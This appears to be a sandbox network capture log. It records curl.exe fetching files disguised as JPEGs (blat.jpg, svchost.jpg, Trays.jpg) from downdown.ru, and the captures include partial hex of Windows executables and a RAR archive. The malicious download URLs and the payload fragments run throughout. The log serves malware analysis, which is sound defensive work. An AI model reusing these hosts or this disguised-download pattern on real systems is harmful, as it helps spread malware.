Jan 8, 2025 15:53:37.783159971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 15:53:37.783174038 CET	224	IN	Data Raw: 10 e8 f5 a9 00 00 ff 43 30 8b c6 5f 5e 5b 8b e5 5d c3 90 53 8b d8 56 01 53 04 8b 43 04 3b 43 08 7e 3e 8b 43 08 85 c0 79 03 83 c0 03 c1 f8 02 03 43 08 83 c0 20 3b 43 04 7d 05 8b 73 04 eb 02 8b f0 56 ff 33 e8 22 99 03 00 83 c4 08 89 03 83 3b 00 75 Data Ascii: C0_^[]SVSC;C~>CyC ;C}sV3";uHDn%s^[SVSC;C~CCyC ;C}sP3;uHD%s^[SVSC;C~BCyC ;C
Jan 8, 2025 15:53:37.783184052 CET	1236	IN	Data Raw: 7d 05 8b 73 04 eb 02 8b f0 8b c6 03 c0 50 ff 33 e8 76 98 03 00 83 c4 08 89 03 83 3b 00 75 0a b8 48 8c 44 00 e8 c2 24 03 00 89 73 08 5e 5b c3 51 33 c9 e8 04 00 00 00 c3 90 90 90 55 8b ec 83 c4 f8 53 56 57 8b f9 8b f2 8b d8 85 f6 74 11 8d 4d f8 8d Data Ascii: }sP3v;uHD$s^[Q3USVWtMUu3)uuVdtE1M_^[YY]USVWMU}uuMUnu3}~_^[YY]
Jan 8, 2025 15:53:37.783195972 CET	224	IN	Data Raw: 56 8b d8 be 01 00 00 00 83 fb 0a 72 13 b9 0a 00 00 00 8b c3 33 d2 f7 f1 89 c3 46 83 fb 0a 73 ed 8b c6 5e 5b c3 90 90 33 d2 eb 10 80 3c 10 20 72 06 80 3c 10 7f 76 03 33 c0 c3 42 80 3c 10 00 75 ea b0 01 c3 90 90 90 33 d2 eb 12 66 83 3c 50 20 72 07 Data Ascii: Vr3Fs^[3< r<v3B<u3f<P rf<Pv3Bf<PuSVvHPRSsD3^[SVvIfDs^[UQSVW3E13tSU
Jan 8, 2025 15:53:37.783216000 CET	1236	IN	Data Raw: 8b f3 80 3d c4 af 44 00 00 74 0e b8 c4 ae 44 00 8b d6 e8 a0 a7 00 00 eb 03 8d 46 01 8b d8 80 3b 00 75 ca 83 7d fc 00 74 05 8b 45 fc eb 3d 80 3f 00 74 36 33 c0 8a 47 01 e8 82 04 00 00 84 c0 74 28 8b df 80 3d c4 af 44 00 00 74 0e b8 c4 ae 44 00 8b Data Ascii: =DtDF;u}tE=?t63Gt(=DtD_CW;uG_^[Y]SVK\|^tC^[K}f>tFtF^[SVW;u"=DtDF_^
Jan 8, 2025 15:53:37.783227921 CET	1236	IN	Data Raw: 00 84 c0 74 0e 33 c0 8a 03 e8 45 f9 ff ff 83 c0 bf 5b c3 83 c8 ff 5b c3 90 90 90 e8 cb fb ff ff 80 38 00 74 17 33 d2 8a 10 83 fa 5c 74 0e 68 87 41 44 00 50 e8 9e 9c 03 00 83 c4 08 c3 90 90 53 8b d8 8b c3 e8 36 9e 00 00 85 c0 7e 14 66 83 7c 43 fe Data Ascii: t3E[[8t3\thADPS6~f\|C\tADf[SVW+V;~N+VSW7_^[SVW+yV;~N+yfw_^[SV
Jan 8, 2025 15:53:37.783241987 CET	1236	IN	Data Raw: 7c 21 8b 4d f8 8b d0 2b c8 03 d2 49 8b c3 03 55 fc e8 a9 97 00 00 8b 55 fc 8b 4d f8 66 c7 44 4a fe 00 00 5e 5b 59 59 5d c2 04 00 53 56 57 8b f8 80 3f 00 74 1c 80 7f 01 00 74 16 6a 3a 8d 47 02 50 e8 61 99 03 00 83 c4 08 85 c0 74 04 33 c0 eb 6f 8b Data Ascii: \|!M+IUUMfDJ^[YY]SVW?ttj:GPat3oF3 }3^3 u3Ct3C=DtD{F;u?thADWt3_^[UQSVWU3P}tADADR
Jan 8, 2025 15:53:37.783256054 CET	1236	IN	Data Raw: df ff ff 8d 85 08 65 ff ff e8 91 09 00 00 84 c0 74 79 8d 85 08 65 ff ff b2 01 e8 28 76 00 00 84 c0 74 68 80 bd 16 d3 ff ff 00 75 5f 8d 8d 3c df ff ff 51 56 e8 d2 93 03 00 83 c4 08 8d 85 58 c5 ff ff ba 02 00 00 00 e8 c3 00 00 00 8d 85 2c b8 ff ff Data Ascii: etye(vthu_<QVX,xtse3hXt,dxtsDe3<3
Jan 8, 2025 15:53:37.788233995 CET	1236	IN	Data Raw: ff ff ff 83 fa 7d 75 17 33 c9 8a 8c 1d 70 ff ff ff 83 f9 7b 0f 94 c0 83 e0 01 88 45 fa eb 34 80 7d fa 00 75 2e 33 c0 8a 84 1d 70 ff ff ff e8 a4 ea ff ff 50 ff 35 68 41 44 00 e8 c5 8f 03 00 83 c4 08 85 c0 74 0d 2b 05 68 41 44 00 ff 84 85 c4 fa ff Data Ascii: }u3p{E4}u.3pP5hADt+hADCpu`E3323p{t3p}u3p{E3p!P5hADBt}tp5`+=hAD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49759	185.125.51.5	80	8916	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:38.670823097 CET	87	OUT	GET /blat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:39.330049038 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:39 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\)=G=G=G=F=G"T=Gq!I=G"Mq=G"L=GJ;A=GRich=GPEL,vb`p@qPp.text:Y` `.rdatapp@@.data[0@.rsrc@@
Jan 8, 2025 15:53:39.330070019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 15:53:39.330084085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 15:53:39.330148935 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 8, 2025 15:53:39.330162048 CET	1236	IN	Data Raw: 65 f0 8d 8d 44 f8 ff ff e8 df 26 00 00 33 db 89 5d fc 8d 8d 74 ee ff ff e8 48 1f 00 00 6a 01 5f c6 45 fc 01 8d 8d 4c ee ff ff e8 84 1c 00 00 c6 45 fc 02 8d 8d 1c f8 ff ff e8 75 1c 00 00 c6 45 fc 03 8d 8d 58 ee ff ff e8 66 1c 00 00 c6 45 fc 04 8d Data Ascii: eD&3]tHj_ELEuEXfEWEHE9E*EhtSDP9}hDBE4YYtF;u\|hBNY39]~dE4WhB5
Jan 8, 2025 15:53:39.330174923 CET	224	IN	Data Raw: 02 57 e8 51 9f 01 00 59 8b f0 3b f3 74 2d 57 ff b5 2c ee ff ff 56 e8 08 9c 01 00 8b 45 0c 8b 8d 8c ee ff ff ff 34 88 e8 6f 9b 01 00 83 c4 10 8b 45 0c 8b 8d 8c ee ff ff 89 34 88 8d 8d 10 f8 ff ff e8 cf 17 00 00 ff 85 8c ee ff ff 8b 85 8c ee ff ff Data Ascii: WQY;t-W,VE4oE4;Ej_f9Fu-fhbhBDP(fDPYf9Fu'fhBDP(YYfEl
Jan 8, 2025 15:53:39.330185890 CET	1236	IN	Data Raw: ff eb 26 c7 85 58 fa ff ff 01 00 00 00 83 a5 6c fa ff ff 00 b8 f4 15 40 00 c3 83 a5 6c fa ff ff 00 b8 f4 15 40 00 c3 33 db 6a 01 5e c7 45 fc 08 00 00 00 83 7d 08 02 0f 8f 99 00 00 00 56 8d 85 18 ee ff ff 50 68 60 81 42 00 8b 3d 6c 70 42 00 ff d7 Data Ascii: &Xl@l@3j^E}VPh`B=lpBvWVPh<BvDPPPXPLPEPEP0tf}}#SDP28j^xE@f8 uf-
Jan 8, 2025 15:53:39.330198050 CET	1116	IN	Data Raw: ff ff e8 16 12 00 00 c6 45 fc 06 8d 8d a0 ee ff ff e8 07 12 00 00 c6 45 fc 05 8d 8d 80 ee ff ff e8 f8 11 00 00 c6 45 fc 04 8d 8d 94 ee ff ff e8 e9 11 00 00 c6 45 fc 03 8d 8d 58 ee ff ff e8 da 11 00 00 c6 45 fc 02 8d 8d 1c f8 ff ff e8 cb 11 00 00 Data Ascii: EEEEXEEL]ttMDMd_^[E@ff-tf/tPfFu9fyPhLh~BDP"f
Jan 8, 2025 15:53:39.330214024 CET	1236	IN	Data Raw: bf 1c 01 00 00 57 53 8d 85 cc ec ff ff 50 e8 50 9a 01 00 83 c4 0c 89 bd cc ec ff ff 8d 85 cc ec ff ff 50 8b 3d 5c 70 42 00 ff d7 85 c0 75 13 c7 85 cc ec ff ff 14 01 00 00 8d 85 cc ec ff ff 50 ff d7 83 bd dc ec ff ff 02 0f 85 15 01 00 00 83 bd d0 Data Ascii: WSPPP=\pBuPfFu9fuPhh~BDPfShjSjjuPXpBfFu.fVhhp}BDPXf
Jan 8, 2025 15:53:39.330228090 CET	224	IN	Data Raw: 00 00 39 85 8c ee ff ff 73 6d 8d 8d a8 f9 ff ff e8 7d 71 00 00 8b 8d 8c ee ff ff 66 83 3c 48 28 75 26 8d 8d a8 f9 ff ff e8 65 71 00 00 8b 8d 8c ee ff ff 66 83 3c 48 29 74 08 ff 85 8c ee ff ff eb e0 ff 85 8c ee ff ff 8d 8d a8 f9 ff ff e8 3f 71 00 Data Ascii: 9sm}qf<H(u&eqf<H)t?q2qfNfxGqfxPv3Atj,pPvu<
Jan 8, 2025 15:53:39.335654974 CET	1236	IN	Data Raw: 00 00 85 c0 75 0a 68 1c 7b 42 00 e9 81 06 00 00 66 89 9d 9c fb ff ff 8d 8d 84 fb ff ff e8 90 70 00 00 66 39 18 74 20 68 c8 7d 42 00 8d 8d 84 fb ff ff e8 7b 70 00 00 50 e8 e2 8b 01 00 59 59 85 c0 0f 85 ac 01 00 00 8d 8d 4c ee ff ff e8 af 09 00 00 Data Ascii: uh{Bfpf9t h}B{pPYYLt fLPx&*ty"pff9tTf9fGf=\|uh{BxPxf9Gu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49769	185.125.51.5	80	8972	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:39.985711098 CET	90	OUT	GET /svchost.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:40.614357948 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:40 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h};};};";};#;};;};;};Rich};PELXf"0QT%@@vQ@v%.textw( `.itextT%@.rdata%.@@.data&Q%$Q2@.relocvVQ@B
Jan 8, 2025 15:53:40.614490986 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 8b 45 08 8b 55 10 56 8b f1 33 c9 57 8b 7d 18 89 4e 08 89 4e 14 89 4e 18 89 4e 1c 89 4e 20 Data Ascii: UEUV3W}NNNNN N$N(N,MQj@uEVUWFVPuFS^@sFFMZFf9tFH<;sFN9PEt
Jan 8, 2025 15:53:40.614510059 CET	1236	IN	Data Raw: c7 46 08 04 00 00 00 eb 74 8b 56 18 8b cf f7 d9 81 e1 ff 0f 00 00 03 cf 89 4e 20 8b 52 54 03 50 3c 3b da 73 09 c7 46 08 07 00 00 00 eb 4f 52 50 51 e8 a3 0d 00 00 8b 46 18 0f b7 48 14 33 d2 83 c4 0c 33 db 8d 4c 01 18 66 3b 50 06 73 2f 8d 79 10 8b Data Ascii: FtVN RTP<;sFORPQFH33Lf;Ps/ytPGFPGF PnF@C(;\|[_^]VF$tPQFtPQ^AUQQEH<LxySWu3pV1Nta~t[~ ^$MtIME
Jan 8, 2025 15:53:40.614670992 CET	224	IN	Data Raw: 69 05 e8 f6 07 00 00 83 c4 0c 50 8d 46 24 50 8b ce e8 2c fe ff ff 5f 8b c6 5e 5b c9 c2 04 00 64 a1 18 00 00 00 c3 e9 f4 ff ff ff c3 33 c0 39 01 74 38 39 41 04 74 33 39 41 08 74 2e 39 41 0c 74 29 39 41 10 74 24 39 41 14 74 1f 39 41 18 74 1a 39 41 Data Ascii: iPF$P,_^[d39t89At39At.9At)9At$9At9At9At9A t9A$t9A(t9A,t@L$3f9tf9uL$38tA@9uU}u3]MEMt:u@A+]L$Vt$W+u+tA
Jan 8, 2025 15:53:40.614682913 CET	1236	IN	Data Raw: 0f b6 04 0e 0f b6 fa 2b c7 74 ee 33 c9 85 c0 0f 9f c1 f7 d8 1b c0 5f 5e 8d 4c 09 ff 23 c1 c3 8b 44 24 08 8b 54 24 04 50 89 42 04 e8 5b ff ff ff 59 66 89 02 66 89 42 02 c2 08 00 8b 44 24 08 8b 54 24 04 50 89 42 04 e8 57 ff ff ff 59 66 89 02 66 89 Data Ascii: +t3_^L#D$T$PB[YffBD$T$PBWYffBUQQVuEPuEjPv0V^SVf0W@0x(jjheh1Ps0t;u[C<\|xd$GUo D$
Jan 8, 2025 15:53:40.614696980 CET	1236	IN	Data Raw: a3 1c 00 00 83 c4 28 85 c0 74 0b ff 75 fc e8 f9 02 00 00 59 eb 99 8b 45 08 89 30 8b 45 fc eb 91 55 8b ec 81 ec ec 20 00 00 53 56 68 00 54 25 01 68 00 40 40 00 bb 00 54 23 01 53 ff 75 0c 8b f0 56 ff 75 08 8d 4d cc e8 7d f4 ff ff 8d 4d cc e8 c9 f5 Data Ascii: (tuYE0EU SVhT%h@@T#SuVuM}Mt&uYMMW WjPjVeEPjVEj2E,h`eP]$5(h
Jan 8, 2025 15:53:40.614708900 CET	1236	IN	Data Raw: b6 b2 94 a2 65 01 6a 18 c1 e6 03 59 2b ce 8b c3 d3 e8 84 c0 74 04 3c ff 75 12 8b 45 f8 6a 20 59 2b ce 33 f6 46 d3 e6 4e 33 f3 eb 81 8b 45 f8 8b 75 08 8b cb c1 e9 18 80 e1 01 fe c9 f6 d1 88 4f 04 8b cb c1 e9 10 88 4f 03 8b cb c1 e9 08 88 4f 02 88 Data Ascii: ejY+t<uEj Y+3FN3EuOOO_+ujN_;_#U^[UXBEB4JEB8EB<EB@EBDE3@SVWJZrOHeEEBEB(EB$EB,EB0EB }
Jan 8, 2025 15:53:40.614836931 CET	1236	IN	Data Raw: 0f af d9 39 5d fc 73 19 8b f3 bb 00 08 00 00 2b d9 c1 eb 05 03 d9 8b 4d cc 66 89 1f e9 8b 00 00 00 29 5d fc 8b f9 c1 ef 05 2b cf 8b 7d f0 66 89 0f 8b 4d f4 8b 7d e4 2b f3 8d bc 4f c8 01 00 00 0f b7 0f 89 7d f0 81 fe 00 00 00 01 73 1a 8b 5d f8 8b Data Ascii: 9]s+Mf)]+}fM}+O}s]}E}}9]s+Mf)]++}f}M}}}}}M}MMh9}s]}E}
Jan 8, 2025 15:53:40.614849091 CET	896	IN	Data Raw: f0 03 ff 0f b7 04 0f 81 fe 00 00 00 01 73 1a 8b 5d f8 8b 4d fc 0f b6 1b c1 e1 08 0b cb c1 e6 08 ff 45 f8 89 4d fc 8b 4d f0 8b de c1 eb 0b 0f af d8 39 5d fc 73 17 8b f3 bb 00 08 00 00 2b d8 c1 eb 05 03 d8 8b 45 e8 66 89 1c 0f eb 1d 29 5d fc 8b c8 Data Ascii: s]MEMM9]s+Ef)]+MfE+GEEeMus}E?EE)uE\X#EIuMF]s]}E}9}s
Jan 8, 2025 15:53:40.614864111 CET	1236	IN	Data Raw: 45 dc 89 42 38 8b 45 cc 89 42 3c 8b 45 c8 89 42 40 8b 45 bc 89 42 44 8b 45 f4 89 42 34 89 72 1c 33 c0 5f 5e 5b c9 c2 08 00 55 8b ec 51 51 8b 50 48 85 d2 74 69 81 fa 12 01 00 00 73 61 8b 48 24 53 8b 58 38 56 8b 70 28 89 5d fc 8b 5d 08 89 75 f8 8b Data Ascii: EB8EB<EB@EBDEB4r3_^[UQQPHtisaH$SX8Vp(]]u+Wx;sx0uX+X,;wXX0p,+PHt;M#U+U:9ANu_^H$[S~0uFN$+F,+;v\$SRu8F9F,rF0WF9~$s9^s9
Jan 8, 2025 15:53:40.619940996 CET	1236	IN	Data Raw: 82 fc ff ff 8b 7d fc 0f b6 00 c1 e7 08 0b f8 c1 e6 08 ff 45 08 89 7d fc 0f b7 79 02 8b c6 c1 e8 0b 0f af c7 39 45 fc 73 16 6a 08 8b f0 58 03 d2 8d 8c d1 04 01 00 00 89 45 ec 89 45 f4 eb 19 29 45 fc 2b f0 81 c1 04 02 00 00 c7 45 ec 10 00 00 00 c7 Data Ascii: }E}y9EsjXEE)E+EE3@;s U;U}E}<9Us)U+@;ErM+M}(rjX}8`E3@M;s&M;M}M?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49801	185.125.51.5	80	9032	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:44.916721106 CET	88	OUT	GET /Trays.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:45.535181999 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:45 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "1adacc-62831fb300240" Accept-Ranges: bytes Content-Length: 1759948 Content-Type: image/jpeg Data Raw: 52 61 72 21 1a 07 00 ce 99 73 80 00 0d 00 00 00 00 00 00 00 1f 3b 19 a6 5d b5 91 1f 9b e7 fa 36 2c 14 2c 3a d3 ef 6b 2a 9c fe f4 92 fc 51 72 86 36 3b 68 97 d9 fb 42 71 53 f8 e0 5e 7b 4d c8 c1 d7 c3 c5 0e d4 38 42 21 ea a3 d2 1b 57 e7 b2 1c 9b 7a 7f 17 91 29 33 70 00 ce e0 c3 3e 93 ec 84 c5 fa b4 f6 66 b6 cd 21 d6 a7 5a f7 03 6a df 29 4a b1 b0 0d 10 c9 28 7a 77 94 3e ed 05 9d 60 cf b9 65 24 70 37 96 39 dd 59 e5 b2 b0 2a b5 d5 43 31 60 b1 be 61 35 00 d1 59 94 2b 73 f1 f9 cb b4 ca e8 38 79 e5 f9 91 1c 24 6c a9 43 a7 f9 76 50 b4 8e 7f 0b db 4f 64 d7 6d 3f 3b 46 a9 0e d3 f6 06 54 12 4a a6 ac 0b 1e b0 cf da cd 81 98 1c 8e bb ef 25 30 0d 71 f4 4a 32 fe 16 e9 62 5b 60 cc 52 47 a5 6d 98 1b 45 74 c6 e9 b8 1a 18 aa e5 25 07 68 4c 81 34 4c 93 96 3e 4c ae 9d 1b 81 50 a0 79 20 c1 fe 36 34 3d d1 c1 f2 f9 01 42 71 84 b1 e1 05 96 a7 11 a2 3b 41 e8 ac 05 8f 31 05 c5 66 d5 34 a3 01 b2 2e 48 66 6e 9d bd b7 9d da 80 45 7d 64 bc db df c3 1f 62 47 20 0b 91 19 4c 17 6b ab ff f3 76 fa 4e b1 e7 9a 27 26 6b 8b 33 b2 03 65 75 [TRUNCATED] Data Ascii: Rar!s;]6,,:kQr6;hBqS^{M8B!Wz)3p>f!Zj)J(zw>`e$p79YC1`a5Y+s8y$lCvPOdm?;FTJ%0qJ2b[`RGmEt%hL4L>LPy 64=Bq;A1f4.HfnE}dbG LkvN'&k3euw@1t`}VP0+&H}AZ`2j$vv2N^05?t@A_h!.wX3m:V'3`5.n,h//~g%\'x?-/[bOYiB* e)A2D998e_EDTK>nF/o5, bjn{DBd2us[Jj8"E2`#_3OH^/Fj-mkPZ95{TJ.O@M&<W\|<h-4Cz4)u&9v!t7,X_<"bxNfC~vR8NHa8$9l+vL&=KL GVYj>?U\e \e<h!k< (c]Z+a}hx\|G\RfUn>nEF6hEO/;T@nRS#OEd
Jan 8, 2025 15:53:45.535200119 CET	1236	IN	Data Raw: 95 09 c0 89 12 01 73 b0 e2 0d cf d0 7e 87 2f d1 c8 04 41 36 ae 80 e1 a1 cd 75 45 3a 80 5d 48 70 6a ba 65 fe b7 15 4c cb 39 2d cf 14 fe bb b2 08 d3 c0 4b 40 82 7f bb 0a 0a f5 af b7 2b e8 0b db 93 b0 3a 80 31 c9 e7 79 fb 52 3e cf ee 2a f5 48 dc e8 Data Ascii: s~/A6uE:]HpjeL9-K@+:1yR>HMS%HEj0mB\|6B![Fv=2!A6z)"y0D}+,Y>~TI#S,u]q[N~Eu!u)j^78HO `+
Jan 8, 2025 15:53:45.535212994 CET	1236	IN	Data Raw: 38 57 cd 52 69 d1 f0 9e de dc c1 60 31 3e 24 58 48 67 31 8c 82 c1 c8 e8 31 2f f0 83 e2 40 37 9d bf 23 28 fd 3c 0a 75 fc 05 8b b2 bc 66 a5 4c 8e 79 8d c0 2b 1e e4 a3 2b c5 93 3e 81 26 5f ea 53 e8 b5 f7 ea ed 2c e7 32 dc b1 36 61 81 c3 8e 3e a2 3e Data Ascii: 8WRi`1>$XHg11/@7#(<ufLy++>&_S,26a>>P1:D3 6iCY!`r+Q^i4W:"8L_U]u0RbIFs2ol%,y5z<U8+oNuLp>m%N`7V>4Gr
Jan 8, 2025 15:53:45.535304070 CET	1236	IN	Data Raw: 40 bd d0 ca e7 32 0e 4e a2 3f 79 8e cb e6 bb c5 67 fd 69 ca 17 a8 cf e8 cf 27 69 d2 3e 51 bd 3f c5 f0 1b 57 7a 7c 68 69 bf e7 61 2b 9f 06 d8 72 ed 66 42 d9 02 32 e0 73 5e 6a 18 f1 39 15 cd 9d f2 ec 7a 2d 08 9f 76 07 ed 04 f1 07 f6 2a f6 e0 ee 9c Data Ascii: @2N?ygi'i>Q?Wz\|hia+rfB2s^j9z-vL-om"Z}zC?qkYoT0`#5T!r+`ab/672Nli;=+B9fw\|g*bzbw$I8#qR)y_!YO21N"P
Jan 8, 2025 15:53:45.535324097 CET	896	IN	Data Raw: 0b 15 6c e6 f4 a5 28 68 c8 00 c9 ec 25 5c 92 0e b0 cc 79 9e 80 53 85 6f 4e ec 06 e6 30 db c8 c2 c3 c8 0f 75 9c 21 2e b6 87 41 51 67 01 7c a2 47 c6 b5 23 40 75 b6 62 17 49 33 62 10 44 6a 9e 71 ca c3 21 32 c1 72 c7 dd 6b 67 2c c2 95 5b bf 9e 18 9d Data Ascii: l(h%\ySoN0u!.AQg\|G#@ubI3bDjq!2rkg,[;R*{YY,ifa{w:w2mSo;1g-O95oj8 RmIFXta]![6<yHg2Ht1u#lwrR>Y88L
Jan 8, 2025 15:53:45.535336018 CET	1236	IN	Data Raw: 69 a2 93 20 f2 4f 2b eb b8 83 98 07 b8 62 03 0e 50 b2 09 01 26 5b 6e 1e 9d ba 45 e0 d1 44 ac f4 4d a3 28 8c 18 d8 6e 93 58 12 c6 20 77 09 25 19 d9 f7 36 71 0c 9a 2c 7c e5 2d 74 ef 11 dd 4d 38 a7 13 e7 97 d9 e6 bd 11 66 ba 41 b5 62 f5 52 8b a6 22 Data Ascii: i O+bP&[nEDM(nX w%6q,\|-tM8fAbR"zM'3u>z?;@c{"uN:e>%wKBr#iQ+JM8^v^5V9TDS?qUlF%$,6[)mAAe#4s8
Jan 8, 2025 15:53:45.535347939 CET	1236	IN	Data Raw: 99 c1 4e 1c 72 52 0d ce fa 67 69 13 d0 3e b7 27 b9 c6 7c db 80 3c de 2d d7 ef 4e 3d f0 e8 42 7e 3e c6 b5 4c 02 13 bd 59 ab 85 ec 4b e3 dc b2 f7 97 e9 87 ef 87 be 07 c4 cd 00 69 8b 77 20 f8 fe e2 e0 2d d8 b7 13 3e 61 32 e6 f8 6a 4a f0 31 df 89 eb Data Ascii: NrRgi>'\|<-N=B~>LYKiw ->a2jJ1!u2,)U;:C+H\~?+lV78H4"aLq4wx%z~8&bqa>GW~Vwnr-{8[v2MedK!>SB%9
Jan 8, 2025 15:53:45.535360098 CET	1236	IN	Data Raw: d3 6a c2 7c ed 9a 17 e1 c0 09 77 18 d9 e6 8a bb 2c 83 8c 17 3b ed af 4d 66 99 5c 4c 11 f2 a2 5c ad b2 a4 8b ec 33 c0 65 14 e8 b4 99 2b 9f fa 0f 95 5b 67 95 22 18 3d 98 13 e3 0d af 33 19 e4 87 42 90 4f c1 0c 63 d2 70 33 c3 ad 22 af b9 61 72 51 6f Data Ascii: j\|w,;Mf\L\3e+[g"=3BOcp3"arQom.VZRE6o];1</p"<[fz\|&#%CLn\|~1Vpw*w%X\1PQz!Yi}rPo$\1DgQ!+jo.nO
Jan 8, 2025 15:53:45.535372019 CET	104	IN	Data Raw: bd c7 56 b2 25 52 64 81 2d a3 aa 67 ab e2 19 63 93 9f 97 45 dd 18 fb 35 d7 65 4a fb 83 77 d0 75 72 82 ab 9b fb 9e b8 23 15 1a f7 eb 16 9a 74 52 a1 90 64 a7 99 c7 56 27 37 17 f1 86 5b e9 25 d1 dd 27 da 27 49 82 cc 54 1b 8f 63 20 10 09 80 e3 d2 37 Data Ascii: V%Rd-gcE5eJwur#tRdV'7[%''ITc 7yzGM\-f'n
